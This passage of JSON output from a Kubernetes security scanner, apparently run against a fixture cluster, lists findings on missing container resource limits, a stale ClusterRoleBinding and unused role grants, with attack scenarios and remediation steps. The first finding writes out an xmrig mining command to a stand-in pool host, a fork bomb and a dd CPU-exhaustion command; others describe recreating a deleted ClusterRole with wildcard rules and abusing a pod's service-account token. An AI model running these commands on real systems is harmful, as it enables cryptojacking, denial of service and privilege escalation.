    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:secrets-bundle:cross-ns-consumer:pause",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `pause` in `Deployment/secrets-bundle/cross-ns-consumer` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `pause` in workload `Deployment/secrets-bundle/cross-ns-consumer` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle",
      "api_group": "apps"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/secrets-bundle/cross-ns-consumer`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `pause` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "pause",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `pause` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n secrets-bundle --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `pause`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-RBAC-STALE-001:ServiceAccount/rbac-fixtures/sa-stale-roleref:ClusterRoleBinding//crb-stale-roleref",
    "rule_id": "KUBE-RBAC-STALE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Cluster-wide stale binding references non-existent ClusterRole on `ServiceAccount/rbac-fixtures/sa-stale-roleref`",
    "description": "ClusterRoleBinding `crb-stale-roleref` grants permissions from ClusterRole `kubesplaining-fixture-deleted-role`, but no ClusterRole named `kubesplaining-fixture-deleted-role` exists in this cluster. The binding currently confers no effective permissions, so an attacker who already has ServiceAccount/rbac-fixtures/sa-stale-roleref gains nothing today.\n\nWhat makes this risky is what happens *next*. The moment any identity with `create clusterroles` re-creates a clusterrole named exactly `kubesplaining-fixture-deleted-role` — by restoring it from version control, applying a cached manifest, or as a deliberate attack step — this binding silently activates and grants the new role's rules to every subject listed. The binding itself was never re-reviewed; the only review gate that fired was on the role definition. If the original review process that introduced this binding was looking at it in the context of a specific role's rules, that context is now gone.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-stale-roleref",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ClusterRole",
      "name": "kubesplaining-fixture-deleted-role",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Latent grant: if anyone re-creates ClusterRole `kubesplaining-fixture-deleted-role`, ServiceAccount/rbac-fixtures/sa-stale-roleref (and every co-subject of this binding) inherits its permissions without further review.",
    "attack_scenario": [
      "Attacker enumerates RBAC drift with `kubectl get clusterrolebindings,rolebindings -A -o json | jq` and identifies ClusterRoleBinding `crb-stale-roleref` as referencing a non-existent ClusterRole `kubesplaining-fixture-deleted-role`.",
      "Attacker (or any identity with `create clusterroles`) crafts a ClusterRole manifest named `kubesplaining-fixture-deleted-role` with maximally permissive rules — `*` verbs on `*` resources, for example.",
      "The new ClusterRole is created; Kubernetes immediately resolves the existing binding ClusterRoleBinding `crb-stale-roleref` to the new rules.",
      "ServiceAccount/rbac-fixtures/sa-stale-roleref now holds those permissions without any binding-review log entry — only the (likely-routine-looking) ClusterRole creation was reviewed."
    ],
    "evidence": {
      "binding_namespace": "",
      "missing_role": "kubesplaining-fixture-deleted-role",
      "missing_role_kind": "ClusterRole",
      "other_subjects": [],
      "source_binding": "crb-stale-roleref",
      "source_binding_kind": "ClusterRoleBinding"
    },
    "remediation": "Delete the stale binding (`kubectl delete clusterrolebinding crb-stale-roleref`). If the ClusterRole was deleted by mistake, restore it from version control and confirm the binding's intended grant is still appropriate.",
    "remediation_steps": [
      "Confirm the binding is no longer needed: `kubectl get clusterrolebinding crb-stale-roleref -o yaml`.",
      "If the ClusterRole `kubesplaining-fixture-deleted-role` should still exist, restore it from version control and re-review the binding's grant in the context of the restored rules.",
      "If the binding is obsolete, delete it: `kubectl delete clusterrolebinding crb-stale-roleref`.",
      "Add a CI lint (Kyverno / Gatekeeper / ValidatingAdmissionPolicy) that rejects any clusterrolebinding whose roleRef does not resolve to an existing ClusterRole."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — Using RBAC Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "stale:roleref"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/foothold-exec/foothold-decoy-sa:cluster-admin",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `cluster-admin` granted to ServiceAccount `foothold-exec/foothold-decoy-sa` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `foothold-exec/foothold-decoy-sa`. The Role `cluster-admin` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "ClusterRole",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `foothold-exec`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `cluster-admin` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `foothold-exec/foothold-decoy-sa` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `foothold-exec/foothold-decoy-sa`.",
      "Attacker uses the token to invoke every API grant in `cluster-admin` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "cluster-admin",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `cluster-admin` to ServiceAccount `foothold-exec/foothold-decoy-sa`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"cluster-admin\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/vulnerable/default:cm-reader",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `cm-reader` granted to ServiceAccount `vulnerable/default` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `vulnerable/default`. The Role `cm-reader` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Role",
      "name": "cm-reader",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `vulnerable`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `cm-reader` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `vulnerable/default` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `vulnerable/default`.",
      "Attacker uses the token to invoke every API grant in `cm-reader` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "cm-reader",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `cm-reader` to ServiceAccount `vulnerable/default`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"cm-reader\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/csr-fixtures/sa-csr-mint:cr-csr-mint",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `cr-csr-mint` granted to ServiceAccount `csr-fixtures/sa-csr-mint` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `csr-fixtures/sa-csr-mint`. The Role `cr-csr-mint` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-mint",
      "namespace": "csr-fixtures"
    },
    "resource": {
      "kind": "ClusterRole",
      "name": "cr-csr-mint",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `csr-fixtures`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `cr-csr-mint` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `csr-fixtures/sa-csr-mint` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `csr-fixtures/sa-csr-mint`.",
      "Attacker uses the token to invoke every API grant in `cr-csr-mint` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "cr-csr-mint",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `cr-csr-mint` to ServiceAccount `csr-fixtures/sa-csr-mint`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"cr-csr-mint\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/csr-fixtures/sa-csr-sign:cr-csr-sign",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `cr-csr-sign` granted to ServiceAccount `csr-fixtures/sa-csr-sign` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `csr-fixtures/sa-csr-sign`. The Role `cr-csr-sign` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-csr-sign",
      "namespace": "csr-fixtures"
    },
    "resource": {
      "kind": "ClusterRole",
      "name": "cr-csr-sign",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `csr-fixtures`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `cr-csr-sign` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `csr-fixtures/sa-csr-sign` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `csr-fixtures/sa-csr-sign`.",
      "Attacker uses the token to invoke every API grant in `cr-csr-sign` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "cr-csr-sign",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `cr-csr-sign` to ServiceAccount `csr-fixtures/sa-csr-sign`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"cr-csr-sign\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/imgswap-fixtures/imgswap-reader:cr-imgswap-secret-reader",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `cr-imgswap-secret-reader` granted to ServiceAccount `imgswap-fixtures/imgswap-reader` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `imgswap-fixtures/imgswap-reader`. The Role `cr-imgswap-secret-reader` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-reader",
      "namespace": "imgswap-fixtures"
    },
    "resource": {
      "kind": "ClusterRole",
      "name": "cr-imgswap-secret-reader",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `imgswap-fixtures`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `cr-imgswap-secret-reader` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `imgswap-fixtures/imgswap-reader` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `imgswap-fixtures/imgswap-reader`.",
      "Attacker uses the token to invoke every API grant in `cr-imgswap-secret-reader` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "cr-imgswap-secret-reader",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `cr-imgswap-secret-reader` to ServiceAccount `imgswap-fixtures/imgswap-reader`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"cr-imgswap-secret-reader\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
        "title": "Kubernetes - Auditing",
        "url": "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.3",
        "title": "Minimize wildcard use in Roles and ClusterRoles",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:leastprivilege",
      "category:least_privilege"
    ]
  },
  {
    "id": "KUBE-RBAC-UNUSED-ROLE-001:ServiceAccount/rbac-fixtures/sa-impersonate:cr-impersonate",
    "rule_id": "KUBE-RBAC-UNUSED-ROLE-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "privilege_escalation",
    "title": "Role `cr-impersonate` granted to ServiceAccount `rbac-fixtures/sa-impersonate` but never exercised",
    "description": "Audit logs covering 30 days (2026-10-13 → 2026-11-12, 3 events) show **zero** API calls from ServiceAccount `rbac-fixtures/sa-impersonate`. The Role `cr-impersonate` is bound to this subject but every grant inside it is unused. A workload still mounts this ServiceAccount, so the grant is latent privesc surface - an attacker who compromises the pod gets capabilities the workload demonstrably does not need.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ClusterRole",
      "name": "cr-impersonate",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `rbac-fixtures`"
    },
    "impact": "If the pod is compromised, the attacker inherits every permission in `cr-impersonate` even though the application has not used any of them.",
    "attack_scenario": [
      "Attacker compromises a pod running as ServiceAccount `rbac-fixtures/sa-impersonate` (e.g. via an RCE in the application).",
      "Pod's projected token at /var/run/secrets/kubernetes.io/serviceaccount/token is the credential for ServiceAccount `rbac-fixtures/sa-impersonate`.",
      "Attacker uses the token to invoke every API grant in `cr-impersonate` - none of which the legitimate workload uses, so the activity is anomalous and detectable in audit logs."
    ],
    "evidence": {
      "events_processed": 3,
      "signal": "no_observed_events_for_subject",
      "source_role": "cr-impersonate",
      "window_end": "2026-11-12T18:18:01.203764293Z",
      "window_start": "2026-10-13T18:18:01.203764293Z"
    },
    "remediation": "Remove the binding that grants `cr-impersonate` to ServiceAccount `rbac-fixtures/sa-impersonate`, or replace the Role with a no-op placeholder until the workload is retired.",
    "remediation_steps": [
      "Confirm the audit-log observation window is long enough to cover any periodic / on-demand uses of this Role (monthly jobs, disaster-recovery scripts).",
      "Find the binding: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.roleRef.name == \"cr-impersonate\") | {kind, ns: .metadata.namespace, name: .metadata.name}'`",
      "Delete the binding (preferred) or scope it down by replacing it with a binding that grants no resources to verify nothing breaks before final removal."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html",
      "https://kubernetes.io/docs/tasks/debug/debug-cluster/audit/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes - RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "AWS - IAM Access Advisor (analog of this analyzer)",
        "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor.html"
      },
      {
